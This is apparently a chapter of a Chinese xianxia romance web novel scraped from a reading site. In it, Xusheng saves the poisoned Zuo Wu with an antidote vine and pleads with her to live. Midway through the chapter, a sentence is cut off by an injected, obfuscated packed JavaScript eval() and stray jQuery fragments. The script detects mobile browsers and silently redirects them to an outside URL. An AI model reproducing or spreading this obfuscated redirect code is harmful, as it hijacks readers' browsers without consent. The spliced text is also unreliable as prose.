默认冷灰
24号文字
方正启体

32. 第 32 章

作者:火少食反本书字数:K更新时间:
    天蒙蒙亮,熹微晨光漫过山林,驱散薄雾,却难以穿透那片浓障。


    左芜倚坐在树边,脸色苍白得近乎透明,周身灵力早已溃散如散沙。


    按理来说,这般重伤缠身,剧毒侵脉,她早该毒发身亡了。可她偏凭着一口残气强撑着,睨着毒林的方向,不肯阖眼。


    毒叶袭来的那一瞬,她便知自己必死无疑,原是打算耗尽灵力卷散雾气,护絮生安全脱身,自己再寻一处僻静之地,静静赴死。


    但絮生发现了伤口,竟不管不顾一头闯入险地。


    毒发得快,她无力阻拦,只能眼睁睁看着那道身影消失在密林深处。


    眼前渐渐发黑,视线模糊一片。


    闭眼前的最后一刻,左芜心里念的,依旧是絮生。


    不知絮生是否安好。


    只愿她能平安归来,莫要在奈何桥上相见才好……


    这样美好的人,不该与我同葬一处的。


    思绪昏沉纷乱间,左芜忽地听见有人在唤她。


    音色清脆婉转,像极了絮生。


    “阿芜,阿芜你不要死,不要死!”


    那声音近在咫尺,带着哭腔,抖得厉害。


    接着,一道身影扑过来,将她紧紧抱在怀里。


    有温热的液体砸在她脸上,一滴,两滴,接连不断,像是下了一场淅淅沥沥,又滚烫的雨。


    左芜迷迷糊糊地想:死了也会做梦么?


    “……絮……生……”她嘴唇翕动,叫出这两字。


    “是我!是我!阿芜,你睁开眼看看我!”


    突然,有什么冰凉的东西塞进了她的嘴里,似乎是一截细小的藤茎,混着泥土的腥气,入口苦涩,汁液顺着喉咙滑了下去,苦得她不禁打个寒颤。


    “阿芜,接下来可能会有点疼,忍一忍,很快就好了……”肩上的伤口传来一阵刺痛,深埋其中的毒叶被拔出,又有一条湿漉漉的东西覆上。


    是引魂藤。


    左芜的心揪了一下。


    这种藤蔓长在毒林深处的腐土之中,周围还盘踞着成群的毒虫,连金丹期的修士都不敢轻易靠近,这絮生是怎么闯进去的?她那样弱小,无力……


    她勉强撑开一线眼帘。


    入目便是一张满是泪痕的脸。


    絮生不知何时变回了原样,双眼通红,脸上多出了些擦伤红痕,混着泥沙,嘴角也破了。


    一头秀发乱糟糟的,发丝还沾了些枝叶碎末,凌乱地贴在鬓角。衣衫破了好几处,露出的手臂上全是灰泥与血痕,纵横交错,触目惊心。


    而那株引魂藤,却仍被她死死攥在掌心。藤茎上还染着她的血。


    “阿芜,我给你找来解药了。”絮生跪在她身旁,声音又抖又急,“我都做了,我都做了,外敷内服……阿芜你看。”


    她说着,又手忙脚乱地从怀里掏出一把已经被碾烂的藤叶,往左芜肩上的伤口敷去。


    那些藤叶混着她的血和泪,糊在伤口上,汁液渗入翻卷的皮肉,疼得左芜额上的青筋都暴了出来。


    絮生不知轻重,她只知要多敷一些,再多敷一些,她的阿芜就有可能活下去。


    “是不是很疼?”她忽然问道,泪眼模糊地看着左芜,“一定很疼,对不对……可我只能这么做了,阿芜,你再忍耐一下。”


    喉咙里涌上一股腥甜,左芜喉头微动,生生压了回去,“你……不该如此冒险……不该进去的……”


    “我若不进去,你便没命了!”絮生声音陡然拔高,泪珠啪嗒啪嗒滚落,“你就这般不惜命?那你死吧,我绝不拦你……”


    她哭得连气息都续不上,胸口起伏如潮。


    话虽如此,但她手中动作一刻未停,又掰下一截引魂藤,挤出汁液,小心翼翼地喂到左芜唇边。


    左芜意识飘忽,双唇下意识地合拢,含住了那藤茎,苦涩的液体再次涌入口中,喉间几番滚动,被迫吞咽。


    絮生看着她咽下,紧绷的肩膀才稍稍了松了松,随即又变得紧张。


    阿芜的脸上还是那样的白,毒素只是不再蔓延,却没有消退的迹象。


    “不够,还不够……”她又把灵力渡过来,推着药力往四肢扩散。


    可絮生自己才有多少灵力?


    她修成人形也不过数月,灵核稚嫩得如一颗未熟的青果,根本经不起这般透支。


    左芜也能感觉得到,那股灵力渡来时变得涣散,像是用一只漏了底的碗去舀水,十成里有七成消散在途中。


    但她不在乎,只是一味拼命地渡。


    “阿芜,你不要死……”絮生的声音渐低,“你不要死好不好……”


    可左芜的视线又开始模糊了。


    引魂藤的确实在起效,她能感受到毒素正在被一寸寸逼退。


    但引魂藤能解的是毒,不是命。


    她伤得太重,失血太多,灵脉早已被震碎大半。


    她活不了了。


    她心里清楚,絮生心里大约也清楚,只是絮生不肯承认。


    “你要是死了,那我怎么办……”絮生的眼泪淌得更凶了,声音断断续续的,“以后就没人保护我了,程应景一定不会放过我的,她一定会杀了我的……”


    不会的。


    掌门师伯会收留你,她会替我保护你的。


    左芜多想这么回答,但……她实在没了力气开口。


    灵力渡过来,越来越弱,越来越薄。


    不是她的灵力渡不过去,而是……


    而是有人在推拒。


    絮生显然也感觉到了。


    她倏地抬头,那双哭红的眼里涌出一种疯狂的惶然。


    那是一种原始的、本能的恐惧。


    宛若被全世界抛弃了。


    “阿芜,我说的都是气话,并非真心……并非真心要你赴死。”她吸了吸泛酸的鼻子,又掰下一截引魂藤,“我会救你的,我不会让你死……”


    “絮生。”左芜用尽全身力气,抬手握住了她的手腕。


    明明没用多大的力气,却还是让絮生定在原地,“阿芜……”


    “絮生。”左芜又叫了一声,声音平静得像一潭死水,“我活不了了。”


    絮生的表情在这一瞬碎裂了。


    像一面被石子击中的冰,裂纹从中心向四周炸开,每一道缝隙中都有无数的情绪渗出。


    她的唇瓣张了又合,合了又张,一个字都发不出来。


    她还握着左芜的手,但是灵力再也没办法渡了。


    许久。


    “你骗人……”絮生终于发出声音来,“引魂藤能解毒的……”


    “可是我快死了,解毒没用的。”


    此话一出,那双清澈眼里的侥幸瞬间被碾成齑粉。


    “不是说好要一同去看萤火河的么?”絮生低声呢喃,“你难道要食言吗……”


    那是前几日左芜随口说的一句话。


    她说待到大暑,山门河畔旁的流萤会聚成一道星河,铺在水面,比天上的银河还要好看。


    那时的絮生高兴得在原地转了几圈,把这件事当作念想,每天都要掰着指头算何时才到大暑。


    左芜以为她早就忘了。


    “为什么……你又要弃我而去……”絮生落泪无声,“你说的每一句话我都记在心上……你怎么能死……你若是死了,这些话怎么办……你让我一个记得?你让我……”她说得颠三倒四,不成逻辑,只得把脸埋在左芜颈窝里,全身颤抖。


    “我怎么办……没有你,我……”她说着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357262|197650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说着,忽然安静了一瞬。


    那一瞬很短,短得宛若一次眨眼,却又很长,长得像历经一场生死。


    而后她再度开口,声音里再无半分犹疑,变得异常决绝。


    “你若身死,我也绝不独活。”


    左芜的瞳孔骤缩。


    “我要与你共赴黄泉,便是生生世世,我也要缠着你。”


    “……你在胡说什么!”左芜难以置信地望着她,不知从哪里涌上一股力气,声音依旧是虚的,却满是严厉。


    “我没有胡说!我说到做到!”絮生摇头,泪珠四溅,“没了你,我一人苟活于世还有何意义?”


    她的声音越来越大,可到了最后,又倏地低下去。


    “我实在不敢想,这没有你的世间。”


    左芜的眼眶也红了,有什么东西从眼尾滑落,顺着鬓发没入,悄无声息。


    “絮生。”她声音沙哑,艰难开口,“你听我说,你还小,以后你还会遇到许多人,会有许多……”


    “我不要!我不听!”絮生的眼睛猩红,似是要滴血,“我不要很多人,我要你,我只要你一人。”


    左芜怔怔地望着。


    怎会如此。


    这世上怎会这样的人待她?为何要这样对她?


    她这一生历经坎坷,见过为鬼为蜮,见过背信弃义,她以为自己早就看透了,人与人之间不过因利而聚,利尽而散。


    可絮生跪在这里。


    这个天真纯粹的小精灵跪在这里,用她全部的、微小又滚烫的生命,誓死要与她同生共死。


    “这样的我,这样的人……究竟有何值得你这样真心以待?”她问。


    不单单是在问絮生。


    她是在问天,问命,问这数年颠沛流离的人生。


    为什么偏偏是絮生?


    为什么偏偏是这样干净的一颗心,落在了她这滩烂泥里?


    “到底有何不值得?!”絮生反问道,声音再次拔高,“你总说你是“这样的人”,那你告诉我,你到底是什么样的人?你告诉我啊……”


    她声音发抖,不知是气的,还是心疼的,亦或者皆有。


    “你悬壶济世,锄强扶弱,正因为如此,我才敬你、慕你、心甘情愿待你。


    “就算……就算你一事无成,是个恶贯满盈的恶人,只要是你,就值得我真心相付。


    “阿芜,我是真心爱你的。”


    左芜的瞳孔微微震了一下。


    这样的爱……


    她从未感受过。


    一丝半缕的灵力重新缠上心脉,疏通筋骨,那颗几乎停止跳动的心脏,又开始微弱地搏动。


    “何必说自己不配呢,你行善无数,积德无量,是行走于世的侠者,若连你都不值得,还有谁值得?从前的错事,不必再揪着不放了啊……”絮生哽咽着,字字恳切。


    她的手依旧死死攥着,像是攥着最后一根救命稻草,哀求道:


    “阿芜,我只想要你活着。


    “你要是走了,我就什么都没有了。


    “阿芜……求你,为我而活,好不好?别再放弃自己……”


    左芜久久未应。


    她只是看着眼前人,目光沉沉。


    寂静漫开。


    絮生的心一点点凉透,眼中的光也变得黯淡。


    果然……


    她终究是留不住阿芜吗?


    不知过了过久,左芜才动了动唇,声音异常清晰:“……好。”


    絮生一怔,刚要喜极而泣,就听对方说。


    “絮生……”左芜用尽最后一点力气,抬手拂去她的泪痕,“若我能活下来,你……是否愿意与我结为道侣?”


    话音刚落,手重重一垂,彻底陷入昏迷。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)